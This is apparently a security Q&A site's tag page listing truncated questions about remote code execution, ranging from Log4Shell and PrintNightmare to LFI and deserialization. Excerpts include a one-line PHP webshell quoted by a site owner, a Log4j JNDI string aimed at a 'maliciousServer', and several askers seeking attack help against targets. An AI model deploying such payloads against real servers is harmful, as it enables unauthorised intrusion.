Questions tagged [remote-code-execution]
Remote code execution is the process of running arbitrary code on a device over some type of network. The code can either be malicious, such as a code injection on a website, or voluntary, such as with Java Remote Method Invocation.
42
questions
0
votes
1
answer
54
views
Arbitrary command execution on remote devices
Is it possible to send a TCP payload to an open port that executes a specific arbitrary command on the target device using Metasploit or any other program? For example with Windows 10 Server OS?
I ...
0
votes
0
answers
36
views
Can malicious files be traced and removed from my phone
I had a files analysis done on my phone using Falcon Sandbox. An alarming amount of malicious files,marked as clean, were found,identified,and shown each capable abilities. Literally THE ONLY thing of ...
-1
votes
1
answer
38
views
Would a base64ed code work inside an images metadata? [closed]
my target has a server that uses aspx possibly version 4.3 and i just found out that it has an image upload part. They have an image analyzer so it has to be an image file so i wonder if i could embed ...
- 1
0
votes
0
answers
108
views
ruby on rails constantize exploitation
I was trying to exploit the constantize method in ruby for remote code execution. for example I have this line code:
@mygroups = params[:group][:type].constantize.new(params[:group])
and in the ...
- 131
0
votes
1
answer
136
views
Kubernetes user impersonation to obtain exec privileges
I am exploring CVE 2018-1002105 about privilege escalation vulnerabilities in Kubernetes. As a remote unuauthenticated user, I would want to make use of a metrics server deployed on my cluster to exec ...
1
vote
1
answer
78
views
New York Times article about FBI secretly removing malware from U.S. corporate servers - would this indicate they have a government backdoor?
New York times just ran an article titled "U.S. Says It Secretly Removed Malware Worldwide, Pre-empting Russian Cyberattacks" that stated
The United States said on Wednesday that it had ...
- 135
1
vote
0
answers
99
views
RCE through specifying .NET type or namespace?
I'm testing an application that allows the user to provide an XML file that will be processed. (I've already tried typical XML attacks, such as XXE.) One of the elements of the XML file allows the ...
- 79
1
vote
1
answer
145
views
Log4shell - Should affected servers be "nuked from the orbit"?
Considering how log4shell seems trivial to exploit and the important control level it gives to an attacker, should we wipe everything affected and start over?
For example, we find out that a publicly ...
- 191
3
votes
1
answer
874
views
Can one protect from the Log4j exp by sanitizing the parameters?
A zero-day exploit affecting the popular Apache Log4j utility
(CVE-2021-44228) was made public on December 9, 2021 that results in
remote code execution (RCE). (From an email CloudFlare sent to users)
...
- 291
4
votes
1
answer
369
views
Does the log4j RCE vulnerability run even if the message is just a part of the logged string?
Does the JNDI URL need to be the full string being logged or could it be just a part of a logged string?
For example, if the code contains:
paramGivenFromOutside = "${jndi:ldap://maliciousServer:...
- 143
0
votes
1
answer
488
views
Uploading/writing server files via SSRF?
Say I've found a perfect SSRF vulnerability in a web application that lets me send web requests to any URL, any host, any port, any scheme. I can use the file:// scheme to get the contents of local ...
- 79
0
votes
1
answer
109
views
Can I escalate a main domain SSTI/RCE to all the subdomains belonging to that domain?
I'm a newbie ethical hacker and bug bounty hunter. Lets, assume my target is somethingtohack.com, the thing is the company's scope defines that the main domain is out of scope, but subdomains like ...
1
vote
1
answer
321
views
Need guidance on detecting how a hacked file got upload on my website [duplicate]
On my website I found a file containing this code
<?php if(isset($_POST[z]))eval($_POST[z]);?>
It's my understanding that the hacker is using this to execute any PHP command send via a POST ...
- 111
0
votes
2
answers
428
views
How to completely restrict Steam in Linux to defend against remote zero day exploits?
My question is, how can i completely restrict Steam's processes and modules to only have access to what they suppose to, and not be able to do anything malicious, for example running bin/sh or ...
- 388
0
votes
1
answer
565
views
Attempting remote code execution, why does this php webshell code fail with single quotes?
In working on a vulnerable box, I found a field in a database table where one can insert php code. Based on this exploit:
https://www.exploit-db.com/exploits/24044
I tried to use this code to make a ...
- 1
1
vote
0
answers
1k
views
NodeJS, unrestricted file upload, RCE [closed]
I'm testing on application which runs on NodeJS, and discovered unrestriced file upload vulnerability, path traversal is not possible.
Uploaded file is visitable, I can upload .html to perform XSS ...
- 11
9
votes
2
answers
292
views
Who is at risk from the PrintNightmare RCE?
Microsoft released an emergency patch and stated that the vulnerability is being actively exploited in the wild. All the news articles describing the RCE are implying that any internet-connected ...
- 440
0
votes
2
answers
386
views
How does Local File Inclusion (LFI) work?
In the past few days, I have created my own webserver to serve as my sandbox for learning pen-testing. I saw this blog (https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-...
- 15
0
votes
1
answer
4k
views
RubySMB::Error::CommunicationError: Read timeout expired when reading from the Socket (timeout=30)
I've been playing around with the EternalBlue exploit recently. I've downloaded a Windows 10 iso file from 2016 and used it to set up a Windows 10 Pro VM as my sandbox. I also ran the nmap script and ...
- 15
0
votes
0
answers
99
views
ThinkPHP show my website as the req.host - did the request really come from my web server?
I have ThinkPHP wordpress garbage coming at my server https://medium.com/@knownsec404team/analysis-of-thinkphp5-remote-code-execution-vulnerability-5de8a0afb2d4
, for example:
/public/index.php?s=...
- 149
2
votes
2
answers
187
views
Is there any way an attacker can access the server and modify the site (php) code? [closed]
I recently had a breach on my site (laravel). I got aware of it after I tried to pull the code from github and found out that some files were modified.
The files modified were mostly storage - logs/...
- 21
2
votes
4
answers
480
views
LFI php://input returning initial argument?
TLDR: Trying to execute commands on site thats got a LFI vuln.
So I am making my post request to my vulnerable site and
import requests
header = {
'User-Agent':'Mozilla/5.0 (Windows; U; ...
- 21
2
votes
2
answers
730
views
Why is the first step for an attacker to get Reverse Shell after getting RCE?
If someone is having a Remote Code Execution, that means, one can run the commands on the server, then why does he need to get the Reverse Shell?
Even though I can run system commands, then why do I ...
- 31
0
votes
0
answers
223
views
Exploiting Groovy RCE
I'm trying to exploit groovy engine for RCE. However, the developer fixed by restricting the method calls with name 'exec', 'execute', 'run', 'start'. Is there any bypass or alternative to these ...
- 1
0
votes
0
answers
122
views
Remotely crashing a PC by only visiting a website? Is this an at least 6 year old WebGL bug?
http://hunger.hu/webgl.html
WARNING: only visit this website, it you don't mind crashing your PC!
so how is this possible? the website dates back to 2014! It is 2020 and by only visiting a website ...
1
vote
1
answer
164
views
Rogue network printers as an attack vector in windows
I recently installed a new printer in our network. Just because I was interested, I switched to wireshark when scanning for and adding the printer on windows. I noticed that it was discoverd through ...
- 13
1
vote
2
answers
797
views
DVWA - Converting Local File Inclusion to Remote Code Exploitation
I'm reading this blog and it says:
If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written ...
- 646
3
votes
1
answer
219
views
Is this a remote code execution vulnerability?
I am planning to evaluate and install a publicly available software.
https://github.com/opensemanticsearch/open-semantic-search
While reviewing the issues on github, there is an issue open which ...
- 133
0
votes
1
answer
2k
views
LFI to RCE through User-Agent
I'm doing a pentest on a FreeBSD machine running CuppaCMS. Already managed to login into the CMS with admin privilege, but it only takes me to a manager menu, with some options to change some tables ...
0
votes
0
answers
87
views
Securing server-sent shaders
I have been implementing server-sent shaders using OpenGL for a game (GLSL version 1.20.8).
Executing server-sent shaders on the client obviously is remote code execution, which tends to be a bad ...
- 101
1
vote
1
answer
263
views
Dealing with a large number of bad chars
I have recently discovered a Buffer Overflow vulnerability that leads to Remote Code Execution. However, due to the structure of the application assessed, a lot of so-called 'bad chars' came up. The ...
- 992
2
votes
1
answer
2k
views
Dangers of Electron's "shell.openExternal" on untrusted content
I'm curious about the actual dangers of executing shell.openExternal on untrusted content. Documentation specifically states that this can be leveraged for RCE:
Improper use of openExternal can be ...
- 123
0
votes
1
answer
233
views
Deserialization Opportunity?
I have minimal experience exploiting deserialization vulnerabilities and I am working on and I have identified the following URL endpoint. This is it URL Decoded:
/Account/Register?Count=0&Keys=...
- 366
0
votes
0
answers
209
views
How is malicious code executed on android devices without owners' knowledge?
I was wondering how hackers were able to gain remote access to one's android device with the help of just a .PNG file. This vulnerability was announced by Google but they didn't provide much ...
3
votes
2
answers
484
views
Are alphanumeric strings safe to pass to a bash script?
I'm currently developing a web service that takes user input and passes it to a bash script as an argument.
I know that without sanitizing this allows for remote command execution. So I want to know ...
- 211
2
votes
2
answers
1k
views
Remote code execution over WAN
Say I am on a a computer behind a NAT and I want to execute an RCE exploit on another computer behind a different NAT(note that no ports are forwarded to the victim's computer on his/her NAT) Could I ...
- 21
0
votes
2
answers
765
views
Accessing a hidden token file in a website using RFI?
In class, I was given the task of using LFI and RFI to find tokens hidden in specific web pages. I completed the first two tasks fine, however, there is another task, the final boss if you will, that ...
2
votes
0
answers
207
views
Reverse TCP - Bind to a specific port
So, I'm trying to solve a CTF challenge that involves exploiting a remote service. The service doesn't check for the size of the input and there is a buffer overflow vulnerability. However, before I ...
- 121
1
vote
1
answer
173
views
Is it possible to exploit computer vision to achieve remote code execution?
What kind of vulnerability in the implementation of a vision-based machine learning system (object recognition, for example) would enable an attacker to achieve remote code execution?
The only ...
- 153
1
vote
2
answers
194
views
Exploitation tactics for heap over-reading?
One of recent CVEs particularly 2019-13615 related to VLC media player, attracted my attention because of the developer reaction:
Any non-exploitable read overflow get CVSS of 9.8, like VLC is a ...
- 163
0
votes
3
answers
952
views
How to exploit RCE vulnerability for machine on local network [closed]
Can someone explain a technique when I know that I can expoit RCE on a server that is located in an internal network but I don't understand how to get a reply back from the payload once it gets inside ...
68
votes
1
answer
12k
views
Unusual mail headers show evidence of MTA attack. Have I been pwned?
Today I found an extremely unusual email in my catchall inbox, without subject, sender or content. My Gmail client for android reported the mail was sent by me, triggering a nuclear alert in my mind.
...
- 5,386